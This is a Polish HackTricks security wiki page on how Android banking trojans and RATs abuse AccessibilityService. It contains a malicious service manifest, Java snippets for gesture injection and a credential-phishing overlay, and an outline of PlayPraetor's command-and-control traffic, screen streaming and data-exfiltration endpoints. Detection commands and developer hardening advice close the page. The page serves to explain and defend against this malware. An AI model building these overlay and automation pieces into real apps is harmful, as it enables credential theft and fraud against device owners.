Nadużycie usługi dostępności Androida
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
AccessibilityService
został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same potężne API automatyzacji (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania pełnej zdalnej kontroli nad urządzeniem bez uprawnień roota.
Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i wiele innych stosują ten sam schemat:
- Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie BIND_ACCESSIBILITY_SERVICE jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika).
- Wykorzystać usługę do
- przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie,
- wstrzykiwania syntetycznych gestów (
dispatchGesture
) i globalnych akcji (performGlobalAction
), aby zautomatyzować dowolne zadanie, które operator pragnie, - rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna TYPE_ACCESSIBILITY_OVERLAY (bez monitu
SYSTEM_ALERT_WINDOW
!), - cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary.
- Ekstrahować dane lub przeprowadzać On-Device-Fraud (ODF) w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran.
Żądanie uprawnienia
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Zdalne prymitywy automatyzacji UI
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Z tymi dwoma API atakujący może:
- Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu.
- Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi.
- Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play.
Wzorce nadużyć
1. Phishing przez nakładki (Zbieranie poświadczeń)
Przezroczysty lub nieprzezroczysty WebView
jest dodawany do menedżera okien:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty – nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami".
Szczegółowy przykład: sekcja Phishing przez nakładkę dostępności na stronie Tapjacking.
2. Automatyzacja oszustw na urządzeniu
Rodziny złośliwego oprogramowania, takie jak PlayPraetor, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (init
, update
, alert_arr
, report_list
, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem.
3. Streaming i monitorowanie ekranu
Łącząc MediaProjection API z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do rtmp://<c2>:1935/live/<device_id>
, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika.
PlayPraetor – przepływ pracy dowodzenia i kontroli
- HTTP(S) heartbeat – iteruj po twardo zakodowanej liście, aż jedna domena odpowie
POST /app/searchPackageName
z aktywnym C2. - WebSocket (port 8282) – dwukierunkowe polecenia JSON:
update
– wprowadź nowe conf/APKalert_arr
– skonfiguruj szablony nakładekreport_list
– wyślij listę docelowych nazw pakietówheartbeat_web
– utrzymanie połączenia
- RTMP (port 1935) – transmisja na żywo ekranu/wideo.
- REST exfiltration –
/app/saveDevice
(odcisk palca)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(dane bankowe)
AccessibilityService to lokalny silnik, który przekształca te polecenia w interakcje fizyczne.
Wykrywanie złośliwych usług dostępności
adb shell settings get secure enabled_accessibility_services
- Ustawienia → Dostępność → Pobrane usługi – szukaj aplikacji, które nie pochodzą z Google Play.
- Rozwiązania MDM / EMM mogą wymuszać
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie. - Analizuj działające usługi:
adb shell dumpsys accessibility | grep "Accessibility Service"
Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji
- Oznacz wrażliwe widoki jako
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Połącz
setFilterTouchesWhenObscured(true)
zFLAG_SECURE
, aby zapobiec przechwytywaniu dotyków/nakładek. - Wykrywaj nakładki, sprawdzając
WindowManager.getDefaultDisplay().getFlags()
lub APIViewRootImpl
. - Odmów działania, gdy
Settings.canDrawOverlays()
lub aktywna jest nieufna usługa dostępności.
Referencje
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.